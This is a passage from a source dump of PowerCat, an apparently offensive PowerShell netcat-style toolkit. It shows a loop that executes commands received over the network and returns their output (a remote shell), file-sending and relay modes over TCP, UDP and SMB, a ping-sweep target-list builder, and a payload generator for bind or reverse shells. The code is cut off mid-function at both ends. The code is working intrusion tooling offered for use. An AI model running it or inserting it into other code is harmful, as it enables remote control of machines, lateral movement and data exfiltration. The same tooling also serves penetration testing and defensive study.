92 | elseif ($PSCmdlet.ParameterSetName -eq 'SendFile') {
93 |
94 | Write-Verbose "Attempting to send $SendFile"
95 |
96 | if ((Test-Path $SendFile)) {
97 |
98 | try { $FileStream = New-Object IO.FileStream @($SendFile, [IO.FileMode]::Open) }
99 | catch { Write-Warning $_.Exception.Message }
100 |
101 | if ($BytesLeft = $FileStream.Length) { # goto Cleanup
102 |
103 | $FileOffset = 0
104 | if ($BytesLeft -gt 4608) { # Max packet size for Ncat
105 |
106 | $BytesToSend = New-Object Byte[] 4608
107 |
108 | while ($BytesLeft -gt 4608) {
109 |
110 | [void]$FileStream.Seek($FileOffset, [IO.SeekOrigin]::Begin)
111 | [void]$FileStream.Read($BytesToSend, 0, 4608)
112 |
113 | $FileOffset += 4608
114 | $BytesLeft -= 4608
115 |
116 | Write-NetworkStream $Mode $ServerStream $BytesToSend
117 | }
118 | # Send last packet
119 | $BytesToSend = New-Object Byte[] $BytesLeft
120 | [void]$FileStream.Seek($FileOffset, [IO.SeekOrigin]::Begin)
121 | [void]$FileStream.Read($BytesToSend, 0, $BytesLeft)
122 |
123 | Write-NetworkStream $Mode $ServerStream $BytesToSend
124 | }
125 | else { # Only need to send one packet
126 | $BytesToSend = New-Object Byte[] $BytesLeft
127 | [void]$FileStream.Seek($FileOffset, [IO.SeekOrigin]::Begin)
128 | [void]$FileStream.Read($BytesToSend, 0, $BytesLeft)
129 |
130 | Write-NetworkStream $Mode $ServerStream $BytesToSend
131 | }
132 | $FileStream.Flush()
133 | $FileStream.Dispose()
134 | }
135 | if ($Mode -eq 'Smb') { $ServerStream.Pipe.WaitForPipeDrain() }
136 | if ($Mode -eq 'Tcp') { sleep 1 }
137 | }
138 | else { Write-Warning "$SendFile does not exist." }
139 | }
140 | elseif ($PSCmdlet.ParameterSetName -eq 'Relay') {
141 |
142 | Write-Verbose "Setting up relay stream..."
143 |
144 | $RelayConfig = $Relay.Split(':')
145 | $RelayMode = $RelayConfig[0].ToLower()
146 |
147 | if ($RelayConfig.Count -eq 2) { # Listener
148 | switch ($RelayMode) {
149 | 'smb' { $RelayStream = New-SmbStream -Listener $RelayConfig[1] ; continue }
150 | 'tcp' { $RelayStream = New-TcpStream -Listener $RelayConfig[1] ; continue }
151 | 'udp' { $RelayStream = New-UdpStream -Listener $RelayConfig[1] ; continue }
152 | default { Write-Warning 'Invalid relay mode specified.' ; return }
153 | }
154 | }
155 | elseif ($RelayConfig.Count -eq 3) { # Client
156 | if ($RelayConfig[1] -match "^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$") {
157 | $ServerIp = [Net.IPAddress]::Parse($RelayConfig[1])
158 | switch ($RelayMode) {
159 | 'smb' { $RelayStream = New-SmbStream $RelayConfig[1] $RelayConfig[2] ; continue }
160 | 'tcp' { $RelayStream = New-TcpStream $ServerIp $RelayConfig[2] ; continue }
161 | 'udp' { $RelayStream = New-UdpStream $ServerIp $RelayConfig[2] ; continue }
162 | default { Write-Warning 'Invalid relay mode specified.' ; return }
163 | }
164 | }
165 | else { Write-Warning "$($RelayConfig[1]) is not a valid IPv4 address." }
166 | }
167 | else { Write-Warning 'Invalid relay format.' }
168 | }
169 | elseif ($PSCmdlet.ParameterSetName -eq 'Execute') {
170 | if ($ServerStream) {
171 | $BytesToSend = $EncodingType.GetBytes("`nPowerCat by @secabstraction`n")
172 | if ($ParameterDictionary.ScriptBlock.Value) {
173 |
174 | $ScriptBlock = $ParameterDictionary.ScriptBlock.Value
175 |
176 | $Global:Error.Clear()
177 |
178 | $BytesToSend += $EncodingType.GetBytes(($ScriptBlock.Invoke($ParameterDictionary.ArgumentList.Value) | Out-String))
179 | if ($Global:Error.Count) { foreach ($Err in $Global:Error) { $BytesToSend += $EncodingType.GetBytes($Err.Exception.Message) } }
180 | }
181 | $BytesToSend += $EncodingType.GetBytes(("`nPS $((Get-Location).Path)> "))
182 | Write-NetworkStream $Mode $ServerStream $BytesToSend
183 | $ScriptBlock = $null
184 | $BytesToSend = $null
185 | }
186 | }
187 |
188 | [console]::TreatControlCAsInput = $true
189 |
190 | while ($true) {
191 | if ($PSCmdlet.ParameterSetName -eq 'SendFile') { break }
192 | if ($Disconnect.IsPresent) { break } # goto Cleanup
193 |
194 | # Catch Esc / Read-Host
195 | if ([console]::KeyAvailable) {
196 | $Key = [console]::ReadKey()
197 | if ($Key.Key -eq [Consolekey]::Escape) {
198 | Write-Verbose 'Caught escape sequence, stopping PowerCat.'
199 | return
200 | }
201 | if ($PSCmdlet.ParameterSetName -eq 'Console') {
202 | $BytesToSend = $EncodingType.GetBytes($Key.KeyChar + (Read-Host) + "`n")
203 | Write-NetworkStream $Mode $ServerStream $BytesToSend
204 | }
205 | }
206 |
207 | # Get data from the network
208 | if ($InitialBytes) { $ReceivedBytes = $InitialBytes ; $InitialBytes = $null }
209 | elseif ($ServerStream.Socket.Connected -or $ServerStream.Pipe.IsConnected) {
210 | if ($ServerStream.Read.IsCompleted) { $ReceivedBytes = Read-NetworkStream $Mode $ServerStream }
211 | else { Start-Sleep -Milliseconds 1 ; continue }
212 | }
213 | else { Write-Verbose "$Mode connection broken, exiting." ; break }
214 |
215 | # Redirect received bytes
216 | if ($PSCmdlet.ParameterSetName -eq 'Execute') {
217 | try { $ScriptBlock = [ScriptBlock]::Create($EncodingType.GetString($ReceivedBytes)) }
218 | catch { break } # network stream closed
219 |
220 | $Global:Error.Clear()
221 |
222 | $BytesToSend += $EncodingType.GetBytes(($ScriptBlock.Invoke() | Out-String))
223 | foreach ($Err in $Global:Error) { $BytesToSend += $EncodingType.GetBytes($Err.Exception.Message) }
224 | $BytesToSend += $EncodingType.GetBytes(("`nPS $((Get-Location).Path)> "))
225 |
226 | Write-NetworkStream $Mode $ServerStream $BytesToSend
227 | $BytesToSend = $null
228 | $ScriptBlock = $null
229 | continue
230 | }
231 | elseif ($PSCmdlet.ParameterSetName -eq 'Relay') { Write-NetworkStream $RelayMode $RelayStream $ReceivedBytes ; continue }
232 | elseif ($PSCmdlet.ParameterSetName -eq 'ReceiveFile') {
233 | try { $FileStream.Write($ReceivedBytes, 0, $ReceivedBytes.Length) }
234 | catch { break } # EOF reached
235 | continue
236 | }
237 | else { # Console
238 | try { Write-Host -NoNewline $EncodingType.GetString($ReceivedBytes).TrimEnd("`r") }
239 | catch { break } # network stream closed
240 | }
241 | }
242 |
243 | # Cleanup
244 | Write-Host "`n"
245 | if ($PSCmdlet.ParameterSetName -eq 'ReceiveFile') { $FileStream.Flush() ; $FileStream.Dispose() }
246 |
247 | try { Close-NetworkStream $Mode $ServerStream }
248 | catch { Write-Warning "Failed to close client stream. $($_.Exception.Message)" }
249 |
250 | if ($PSCmdlet.ParameterSetName -eq 'Relay') {
251 | try { Close-NetworkStream $RelayMode $RelayStream }
252 | catch { Write-Warning "Failed to close relay stream. $($_.Exception.Message)" }
253 | }
254 | [console]::TreatControlCAsInput = $false
255 | if (!$KeepAlive.IsPresent) { break }
256 | }
257 | }
258 | End {}
259 | }
260 |
--------------------------------------------------------------------------------
/Functions/Helpers/New-TargetList.ps1:
--------------------------------------------------------------------------------
1 | function New-TargetList {
2 | <#
3 | .SYNOPSIS
4 | Dynamically builds a list of targetable hosts.
5 |
6 | Version: 0.1
7 | Author : Jesse Davis (@secabstraction)
8 | License: BSD 3-Clause
9 |
10 | .DESCRIPTION
11 |
12 |
13 | .PARAMETER NetAddress
14 | Specify an IPv4 network address, requires the NetMask parameter.
15 |
16 | .PARAMETER NetMask
17 | Specify the network mask as an IPv4 address, used with NetAddress parameter.
18 |
19 | .PARAMETER StartAddress
20 | Specify an IPv4 address at the beginning of a range of addresses.
21 |
22 | .PARAMETER EndAddress
23 | Specify an IPv4 address at the end of a range of addresses.
24 |
25 | .PARAMETER Cidr
26 | Specify a single IPv4 network or a list of networks in CIDR notation.
27 |
28 | .PARAMETER NoStrikeList
29 | Specify the path to a list of IPv4 addresses that should never be touched.
30 |
31 | .PARAMETER ResolveIp
32 | Attemtps to Resolve IPv4 addresses to hostnames using DNS lookups.
33 |
34 | .PARAMETER Randomize
35 | Randomizes the list of targets returned.
36 |
37 | .EXAMPLE
38 | The following example builds a list of IP addresses from 10.10.10.1-10.10.10.254 and 10.10.20.1-10.10.20.254
39 |
40 | PS C:\> New-TargetList -Cidr 10.10.10.0/24,10.10.20.0/24
41 |
42 | .EXAMPLE
43 | The following example builds a list of IP addresses from 10.10.10.1-10.10.10.254
44 |
45 | PS C:\> New-TargetList -StartAddress 10.10.10.1 -EndAddress 10.10.10.254
46 |
47 | .EXAMPLE
48 | The following example builds a list of IP addresses from 10.10.10.1-10.10.10.254
49 |
50 | PS C:\> New-TargetList -NetAddress 10.10.10.0 -NetMask 255.255.255.0
51 |
52 | .EXAMPLE
53 | The following example builds a list of IP addresses from 10.10.10.1-10.10.10.254 and randomizes the output.
54 |
55 | PS C:\> New-TargetList -NetAddress 10.10.10.0 -NetMask 255.255.255.0 -Randomize
56 |
57 | .EXAMPLE
58 | The following example builds a list of IP addresses from 10.10.10.1-10.10.10.254 and returns a list of IP addresses that repsond to ping requests.
59 |
60 | PS C:\> New-TargetList -Cidr 10.10.10.0/24 -FindAlives
61 |
62 | .EXAMPLE
63 | The following example builds a list of IP addresses from 10.10.10.1-10.10.10.254 and returns a list of hostnames that repsond to ping requests and have DNS entries.
64 |
65 | PS C:\> New-TargetList -Cidr 10.10.10.0/24 -FindAlives -ResolveIp
66 |
67 | .EXAMPLE
68 | The following example builds a list of IP addresses from 10.10.10.1-10.10.10.254 and returns a list of hostnames that repsond to ping requests, have DNS entries, and are not included in a no-strike list.
69 |
70 | PS C:\> New-TargetList -Cidr 10.10.10.0/24 -FindAlives -ResolveIp -NoStrikeList C:\pathto\NoStrikeList.txt
71 |
72 | .NOTES
73 |
74 | #>
75 | Param(
76 | [Parameter(ParameterSetName = "NetMask", Position = 0, Mandatory = $true)]
77 | [String]$NetAddress,
78 |
79 | [Parameter(ParameterSetName = "NetMask", Position = 1, Mandatory = $true)]
80 | [String]$NetMask,
81 |
82 | [Parameter(ParameterSetName = "IpRange", Position = 0, Mandatory = $true)]
83 | [String]$StartAddress,
84 |
85 | [Parameter(ParameterSetName = "IpRange", Position = 1, Mandatory = $true)]
86 | [String]$EndAddress,
87 |
88 | [Parameter(ParameterSetName = "Cidr", Position = 0, Mandatory = $true)]
89 | [String[]]$Cidr,
90 |
91 | [Parameter()]
92 | [String]$NoStrikeList,
93 |
94 | [Parameter()]
95 | [Switch]$FindAlives,
96 |
97 | [Parameter()]
98 | [Switch]$ResolveIp,
99 |
100 | [Parameter()]
101 | [Switch]$Randomize
102 | ) #End Param
103 |
104 | #region HELPERS
105 | function local:Convert-Ipv4ToInt64 {
106 | param (
107 | [Parameter()]
108 | [String]$Ipv4Address
109 | )
110 | $Octets = $Ipv4Address.split('.')
111 | Write-Output ([Int64]( [Int64]$Octets[0] * 16777216 + [Int64]$Octets[1] * 65536 + [Int64]$Octets[2] * 256 + [Int64]$Octets[3] ))
112 | }
113 | function local:Convert-Int64ToIpv4 {
114 | param (
115 | [Parameter()]
116 | [Int64]$Int64
117 | )
118 | Write-Output (([Math]::Truncate($Int64 / 16777216)).ToString() + "." + ([Math]::Truncate(($Int64 % 16777216) / 65536)).ToString() + "." + ([Math]::Truncate(($Int64 % 65536) / 256)).ToString() + "." + ([Math]::Truncate($Int64 % 256)).ToString())
119 | }
120 | #endregion HELPERS
121 |
122 | #regex for input validation
123 | $IPv4 = "^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$"
124 | $IPv4_CIDR = "^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])(\/([0-9]|[1-2][0-9]|3[0-2]))$"
125 |
126 | $IpList = New-Object Collections.Arraylist
127 |
128 | #Build IP Address list
129 | if ($PSCmdlet.ParameterSetName -eq "Cidr") {
130 | Write-Verbose "Building target list..."
131 |
132 | foreach ($Address in $Cidr) {
133 | if ($Address -notmatch $IPv4_CIDR) {
134 | Write-Warning "$Address is not a valid CIDR address!"
135 | continue
136 | }
137 |
138 | $Split = $Address.Split('/')
139 | $Net = [Net.IPAddress]::Parse($Split[0])
140 | $Mask = [Net.IPAddress]::Parse((Convert-Int64ToIpv4 -Int64 ([Convert]::ToInt64(("1" * $Split[1] + "0" * (32 - $Split[1])), 2))))
141 |
142 | $Network = New-Object Net.IPAddress ($Mask.Address -band $Net.Address)
143 | $Broadcast = New-Object Net.IPAddress (([Net.IPAddress]::Parse("255.255.255.255").Address -bxor $Mask.Address -bor $Network.Address))
144 |
145 | $Start = Convert-Ipv4ToInt64 -Ipv4Address $Network.IPAddressToString
146 | $End = Convert-Ipv4ToInt64 -Ipv4Address $Broadcast.IPAddressToString
147 |
148 | for ($i = $Start + 1; $i -lt $End; $i++) { [void]$IpList.Add((Convert-Int64ToIpv4 -Int64 $i)) }
149 | }
150 | }
151 | if ($PSCmdlet.ParameterSetName -eq "NetMask") {
152 | Write-Verbose "Building target list..."
153 |
154 | if ($NetAddress -notmatch $IPv4) {
155 | Write-Warning "$NetAddress is not a valid IPv4 address!"
156 | break
157 | }
158 | if ($NetMask -notmatch $IPv4) {
159 | Write-Warning "$NetMask is not a valid network mask!"
160 | break
161 | }
162 |
163 | $Net = [Net.IPAddress]::Parse($NetAddress)
164 | $Mask = [Net.IPAddress]::Parse($NetMask)
165 |
166 | $Network = New-Object Net.IPAddress ($Mask.Address -band $Net.Address)
167 | $Broadcast = New-Object Net.IPAddress (([Net.IPAddress]::Parse("255.255.255.255").Address -bxor $Mask.Address -bor $Network.Address))
168 |
169 | $Start = Convert-Ipv4ToInt64 -Ipv4Address $Network.IPAddressToString
170 | $End = Convert-Ipv4ToInt64 -Ipv4Address $Broadcast.IPAddressToString
171 |
172 | for ($i = $Start + 1; $i -lt $End; $i++) { [void]$IpList.Add((Convert-Int64ToIpv4 -Int64 $i)) }
173 | }
174 | if ($PSCmdlet.ParameterSetName -eq "IpRange") {
175 | Write-Verbose "Building target list..."
176 |
177 | if ($StartAddress -notmatch $IPv4) {
178 | Write-Warning "$StartAddress is not a valid IPv4 address!"
179 | break
180 | }
181 | if ($EndAddress -notmatch $IPv4) {
182 | Write-Warning "$EndAddress is not a valid network mask!"
183 | break
184 | }
185 |
186 | $Start = Convert-Ipv4ToInt64 -Ipv4Address $StartAddress
187 | $End = Convert-Ipv4ToInt64 -Ipv4Address $EndAddress
188 |
189 | for ($i = $Start ; $i -le $End; $i++) { [void]$IpList.Add((Convert-Int64ToIpv4 -Int64 $i)) }
190 | }
191 |
192 | ######### Remove Assets #########
193 | if ($PSBoundParameters['NoStrikeList']) {
194 | $ExclusionList = New-Object Collections.Arraylist
195 |
196 | $NoStrike = Get-Content $NoStrikeList | Where-Object {$_ -notmatch "^#"}
197 | foreach ($Entry in $NoStrike) {
198 | if ($Entry -match $IPv4) { $ExclusionList.Add($Entry) }
199 | else {
200 | try { $ResolvedIp = ([Net.DNS]::GetHostByName("$Entry")).AddressList[0].IPAddressToString }
201 | catch {
202 | Write-Warning "$Entry is not a valid IPv4 address nor resolvable hostname. Check no strike list formatting."
203 | continue
204 | }
205 | [void]$ExclusionList.Add($ResolvedIp)
206 | }
207 | }
208 |
209 | $ValidTargets = $IpList | Where-Object { $ExclusionList -notcontains $_ }
210 | }
211 | else { $ValidTargets = $IpList }
212 |
213 | ######### Randomize list #########
214 | if ($Randomize.IsPresent) {
215 | Write-Verbose "Randomizing target list..."
216 | $Random = New-Object Random
217 | $ValidTargets = ($ValidTargets.Count)..1 | ForEach-Object { $Random.Next(0, $ValidTargets.Count) | ForEach-Object { $ValidTargets[$_]; $ValidTargets.RemoveAt($_) } }
218 | }
219 |
220 | ########## Find Alives & Resolve Hostnames ###########
221 | if ($FindAlives.IsPresent -and $ResolveIp.IsPresent) {
222 | Write-Verbose "Pinging hosts..."
223 |
224 | $Pings = New-Object Collections.ArrayList
225 | $AliveTargets = New-Object Collections.ArrayList
226 |
227 | foreach ($Address in $ValidTargets) {
228 | [void]$Pings.Add((New-Object Net.NetworkInformation.Ping).SendPingAsync($Address, 250))
229 | }
230 | [Threading.Tasks.Task]::WaitAll($Pings)
231 |
232 | foreach ($Ping in $Pings) {
233 | if ($Ping.Result.Status -eq [Net.NetworkInformation.IPStatus]::Success) {
234 | [void]$AliveTargets.Add($Ping.Result.Address.IPAddressToString)
235 | }
236 | }
237 | Write-Verbose " $($AliveTargets.Count) hosts alive..."
238 |
239 | if ($AliveTargets.Count -lt 1) {
240 | Write-Warning "No alive hosts found. If hosts are responding to ping, check configuration."
241 | break
242 | }
243 | else {
244 | Write-Verbose "Resolving hostnames, this may take a while..."
245 |
246 | $ResolvedHosts = New-Object Collections.Arraylist
247 | $i = 1
248 | foreach ($Ip in $AliveTargets) {
249 | #Progress Bar
250 | Write-Progress -Activity "Resolving Hosts - *This may take a while*" -Status "Hosts Processed: $i of $($AliveTargets.Count)" -PercentComplete ($i / $AliveTargets.Count * 100)
251 |
252 | #Resolve the name of the host
253 | $CurrentEAP = $ErrorActionPreference
254 | $ErrorActionPreference = "SilentlyContinue"
255 | [void]$ResolvedHosts.Add(([Net.DNS]::GetHostByAddress($Ip)).HostName)
256 | $ErrorActionPreference = $CurrentEAP
257 |
258 | $i++
259 | }
260 | Write-Progress -Activity "Resolving Hosts" -Status "Done" -Completed
261 | Write-Output $ResolvedHosts
262 | }
263 | }
264 |
265 | ########## Only Find Alives ##############
266 | elseif ($FindAlives.IsPresent -and !$ResolveIp.IsPresent) {
267 | Write-Verbose "Finding alive hosts..."
268 |
269 | $Pings = New-Object Collections.ArrayList
270 | $AliveTargets = New-Object Collections.ArrayList
271 |
272 | foreach ($Address in $ValidTargets) {
273 | [void]$Pings.Add((New-Object Net.NetworkInformation.Ping).SendPingAsync($Address, 250))
274 | }
275 |
276 | [Threading.Tasks.Task]::WaitAll($Pings)
277 |
278 | foreach ($Ping in $Pings) {
279 | if ($Ping.Result.Status -eq [Net.NetworkInformation.IPStatus]::Success) {
280 | [void]$AliveTargets.Add($Ping.Result.Address.IPAddressToString)
281 | }
282 | }
283 |
284 | if ($AliveTargets.Count -lt 1) {
285 | Write-Warning "No alive hosts found. If hosts are responding to ping, check configuration."
286 | break
287 | }
288 | else {
289 | Write-Verbose " $($AliveTargets.Count) alive and targetable hosts..."
290 | Write-Output $AliveTargets
291 | }
292 | }
293 |
294 | ########## Only Resolve Hostnames ########
295 | elseif ($ResolveIp.IsPresent -and !$FindAlives.IsPresent) {
296 | Write-Verbose "Resolving hostnames, this may take a while..."
297 |
298 | $ResolvedHosts = New-Object Collections.Arraylist
299 | $i = 1
300 | foreach ($Ip in $ValidTargets) {
301 | #Progress Bar
302 | Write-Progress -Activity "Resolving Hosts - *This may take a while*" -Status "Hosts Processed: $i of $($ValidTargets.Count)" -PercentComplete ($i / $ValidTargets.Count * 100)
303 |
304 | #Resolve the name of the host
305 | $CurrentEAP = $ErrorActionPreference
306 | $ErrorActionPreference = "SilentlyContinue"
307 | [void]$ResolvedHosts.Add(([Net.DNS]::GetHostByAddress($Ip)).HostName)
308 | $ErrorActionPreference = $CurrentEAP
309 |
310 | $i++
311 | }
312 | Write-Progress -Activity "Resolving Hosts" -Status "Done" -Completed
313 | Write-Output $ResolvedHosts
314 | }
315 |
316 | ########## Don't find alives or resolve ########
317 | else { Write-Output $ValidTargets }
318 | }
319 |
--------------------------------------------------------------------------------
/Functions/New-PowerCatPayload.ps1:
--------------------------------------------------------------------------------
1 | function New-PowerCatPayload {
2 | <#
3 | Author: Jesse Davis (@secabstraction)
4 | License: BSD 3-Clause
5 | #>
6 | [CmdletBinding(DefaultParameterSetName = 'Execute')]
7 | Param (
8 | [Parameter(Position = 0)]
9 | [Alias('m')]
10 | [ValidateSet('Smb', 'Tcp', 'Udp')]
11 | [String]$Mode = 'Tcp',
12 |
13 | [Parameter()]
14 | [Switch]$Listener,
15 |
16 | [Parameter(ParameterSetName = 'Execute')]
17 | [Alias('e')]
18 | [Switch]$Execute,
19 |
20 | [Parameter(ParameterSetName = 'Relay')]
21 | [Alias('r')]
22 | [String]$Relay,
23 |
24 | [Parameter(ParameterSetName = 'ReceiveFile')]
25 | [Alias('rf')]
26 | [String]$ReceiveFile,
27 |
28 | [Parameter(ParameterSetName = 'SendFile')]
29 | [Alias('sf')]
30 | [String]$SendFile,
31 |
32 | [Parameter()]
33 | [Alias('d')]
34 | [Switch]$Disconnect,
35 |
36 | [Parameter()]
37 | [Alias('t')]
38 | [Int]$Timeout = 60,
39 |
40 | [Parameter()]
41 | [ValidateSet('Ascii','Unicode','UTF7','UTF8','UTF32')]
42 | [String]$Encoding = 'Ascii'
43 | )
44 | DynamicParam {
45 | $ParameterDictionary = New-Object Management.Automation.RuntimeDefinedParameterDictionary
46 |
47 | if ($Mode -eq 'Smb') { New-RuntimeParameter -Name PipeName -Type String -Mandatory -Position 1 -ParameterDictionary $ParameterDictionary }
48 | else { New-RuntimeParameter -Name Port -Type Int -Mandatory -Position 1 -ParameterDictionary $ParameterDictionary }
49 |
50 | if ($Mode -eq 'Tcp') { New-RuntimeParameter -Name SslCn -Type String -ParameterDictionary $ParameterDictionary }
51 |
52 | if (!$Listener.IsPresent) {
53 | $Ipv4 = [regex]"^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$"
54 | New-RuntimeParameter -Name RemoteIp -Type String -Mandatory -Position 2 -ValidatePattern $Ipv4 -ParameterDictionary $ParameterDictionary
55 | }
56 |
57 | if ($Execute.IsPresent) {
58 | New-RuntimeParameter -Name ScriptBlock -Type ScriptBlock -ParameterDictionary $ParameterDictionary
59 | New-RuntimeParameter -Name ArgumentList -Type Object[] -ParameterDictionary $ParameterDictionary
60 | }
61 | if ($Execute.IsPresent -and $Listener.IsPresent) { New-RuntimeParameter -Name KeepAlive -Type Switch -ParameterDictionary $ParameterDictionary }
62 | return $ParameterDictionary
63 | }
64 | Begin {
65 | # These scripts had to be hard-coded here because DynamicParams SUCK! Shame on me.
66 | $StartPowerCat = @'
67 | [CmdletBinding(DefaultParameterSetName = 'Console')]
68 | Param (
69 | [Parameter(Position = 0)]
70 | [Alias('m')]
71 | [ValidateSet('Smb', 'Tcp', 'Udp')]
72 | [String]$Mode = 'Tcp',
73 |
74 | [Parameter(ParameterSetName = 'Execute')]
75 | [Alias('e')]
76 | [Switch]$Execute,
77 |
78 | [Parameter(ParameterSetName = 'Relay')]
79 | [Alias('r')]
80 | [String]$Relay,
81 |
82 | [Parameter(ParameterSetName = 'ReceiveFile')]
83 | [Alias('rf')]
84 | [String]$ReceiveFile,
85 |
86 | [Parameter(ParameterSetName = 'SendFile')]
87 | [Alias('sf')]
88 | [String]$SendFile,
89 |
90 | [Parameter()]
91 | [Alias('d')]
92 | [Switch]$Disconnect,
93 |
94 | [Parameter()]
95 | [Alias('t')]
96 | [Int]$Timeout = 60,
97 |
98 | [Parameter()]
99 | [ValidateSet('Ascii','Unicode','UTF7','UTF8','UTF32')]
100 | [String]$Encoding = 'Ascii'
101 | )
102 | DynamicParam {
103 | $ParameterDictionary = New-Object Management.Automation.RuntimeDefinedParameterDictionary
104 |
105 | if ($Mode -eq 'Smb') { New-RuntimeParameter -Name PipeName -Type String -Mandatory -Position 1 -ParameterDictionary $ParameterDictionary }
106 | else { New-RuntimeParameter -Name Port -Type Int -Mandatory -Position 1 -ParameterDictionary $ParameterDictionary }
107 |
108 | if ($Mode -eq 'Tcp') { New-RuntimeParameter -Name SslCn -Type String -ParameterDictionary $ParameterDictionary }
109 |
110 | if ($Execute.IsPresent) {
111 | New-RuntimeParameter -Name ScriptBlock -Type ScriptBlock -ParameterDictionary $ParameterDictionary
112 | New-RuntimeParameter -Name ArgumentList -Type Object[] -ParameterDictionary $ParameterDictionary
113 | New-RuntimeParameter -Name KeepAlive -Type Switch -ParameterDictionary $ParameterDictionary
114 | }
115 | return $ParameterDictionary
116 | }
117 | Begin {}
118 | Process {
119 | while ($true) {
120 | switch ($Mode) {
121 | 'Smb' {
122 | try { $ServerStream = New-SmbStream -Listener $ParameterDictionary.PipeName.Value $Timeout }
123 | catch { Write-Warning "Failed to open Smb stream. $($_.Exception.Message)" ; return }
124 | continue
125 | }
126 | 'Tcp' {
127 | if ((Test-Port $ParameterDictionary.Port.Value Tcp)) {
128 | try { $ServerStream = New-TcpStream -Listener $ParameterDictionary.Port.Value $ParameterDictionary.SslCn.Value $Timeout }
129 | catch { Write-Warning "Failed to open Tcp stream. $($_.Exception.Message)" ; return }
130 | }
131 | else { return }
132 | continue
133 | }
134 | 'Udp' {
135 | if ((Test-Port $ParameterDictionary.Port.Value Udp)) {
136 | try { $InitialBytes, $ServerStream = New-UdpStream -Listener $ParameterDictionary.Port.Value -TimeOut $Timeout }
137 | catch { Write-Warning "Failed to open Udp stream. $($_.Exception.Message)" ; return }
138 | }
139 | else { return }
140 | }
141 | }
142 | switch ($Encoding) {
143 | 'Ascii' { $EncodingType = New-Object Text.AsciiEncoding ; continue }
144 | 'Unicode' { $EncodingType = New-Object Text.UnicodeEncoding ; continue }
145 | 'UTF7' { $EncodingType = New-Object Text.UTF7Encoding ; continue }
146 | 'UTF8' { $EncodingType = New-Object Text.UTF8Encoding ; continue }
147 | 'UTF32' { $EncodingType = New-Object Text.UTF32Encoding ; continue }
148 | }
149 |
150 | if ($PSCmdlet.ParameterSetName -eq 'ReceiveFile') { $FileStream = New-Object IO.FileStream @($ReceiveFile, [IO.FileMode]::Append) }
151 | elseif ($PSCmdlet.ParameterSetName -eq 'SendFile') {
152 |
153 | Write-Verbose "Attempting to send $SendFile"
154 |
155 | if ((Test-Path $SendFile)) {
156 |
157 | try { $FileStream = New-Object IO.FileStream @($SendFile, [IO.FileMode]::Open) }
158 | catch { Write-Warning $_.Exception.Message }
159 |
160 | if ($BytesLeft = $FileStream.Length) { # goto Cleanup
161 |
162 | $FileOffset = 0
163 | if ($BytesLeft -gt 4608) { # Max packet size for Ncat
164 |
165 | $BytesToSend = New-Object Byte[] 4608
166 |
167 | while ($BytesLeft -gt 4608) {
168 |
169 | [void]$FileStream.Seek($FileOffset, [IO.SeekOrigin]::Begin)
170 | [void]$FileStream.Read($BytesToSend, 0, 4608)
171 |
172 | $FileOffset += 4608
173 | $BytesLeft -= 4608
174 |
175 | Write-NetworkStream $Mode $ServerStream $BytesToSend
176 | }
177 | # Send last packet
178 | $BytesToSend = New-Object Byte[] $BytesLeft
179 | [void]$FileStream.Seek($FileOffset, [IO.SeekOrigin]::Begin)
180 | [void]$FileStream.Read($BytesToSend, 0, $BytesLeft)
181 |
182 | Write-NetworkStream $Mode $ServerStream $BytesToSend
183 | }
184 | else { # Only need to send one packet
185 | $BytesToSend = New-Object Byte[] $BytesLeft
186 | [void]$FileStream.Seek($FileOffset, [IO.SeekOrigin]::Begin)
187 | [void]$FileStream.Read($BytesToSend, 0, $BytesLeft)
188 |
189 | Write-NetworkStream $Mode $ServerStream $BytesToSend
190 | }
191 | $FileStream.Flush()
192 | $FileStream.Dispose()
193 | }
194 | if ($Mode -eq 'Smb') { $ServerStream.Pipe.WaitForPipeDrain() }
195 | if ($Mode -eq 'Tcp') { sleep 1 }
196 | }
197 | else { Write-Warning "$SendFile does not exist." }
198 | }
199 | elseif ($PSCmdlet.ParameterSetName -eq 'Relay') {
200 |
201 | Write-Verbose "Setting up relay stream..."
202 |
203 | $RelayConfig = $Relay.Split(':')
204 | $RelayMode = $RelayConfig[0].ToLower()
205 |
206 | if ($RelayConfig.Count -eq 2) { # Listener
207 | switch ($RelayMode) {
208 | 'smb' { $RelayStream = New-SmbStream -Listener $RelayConfig[1] ; continue }
209 | 'tcp' { $RelayStream = New-TcpStream -Listener $RelayConfig[1] ; continue }
210 | 'udp' { $RelayStream = New-UdpStream -Listener $RelayConfig[1] ; continue }
211 | default { Write-Warning 'Invalid relay mode specified.' ; return }
212 | }
213 | }
214 | elseif ($RelayConfig.Count -eq 3) { # Client
215 | if ($RelayConfig[1] -match "^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$") {
216 | $ServerIp = [Net.IPAddress]::Parse($RelayConfig[1])
217 | switch ($RelayMode) {
218 | 'smb' { $RelayStream = New-SmbStream $RelayConfig[1] $RelayConfig[2] ; continue }
219 | 'tcp' { $RelayStream = New-TcpStream $ServerIp $RelayConfig[2] ; continue }
220 | 'udp' { $RelayStream = New-UdpStream $ServerIp $RelayConfig[2] ; continue }
221 | default { Write-Warning 'Invalid relay mode specified.' ; return }
222 | }
223 | }
224 | else { Write-Warning "$($RelayConfig[1]) is not a valid IPv4 address." }
225 | }
226 | else { Write-Warning 'Invalid relay format.' }
227 | }
228 | elseif ($PSCmdlet.ParameterSetName -eq 'Execute') {
229 | if ($ServerStream) {
230 | $BytesToSend = $EncodingType.GetBytes("`nPowerCat by @secabstraction`n")
231 | if ($ParameterDictionary.ScriptBlock.Value) {
232 |
233 | $ScriptBlock = $ParameterDictionary.ScriptBlock.Value
234 |
235 | $Global:Error.Clear()
236 |
237 | $BytesToSend += $EncodingType.GetBytes(($ScriptBlock.Invoke($ParameterDictionary.ArgumentList.Value) | Out-String))
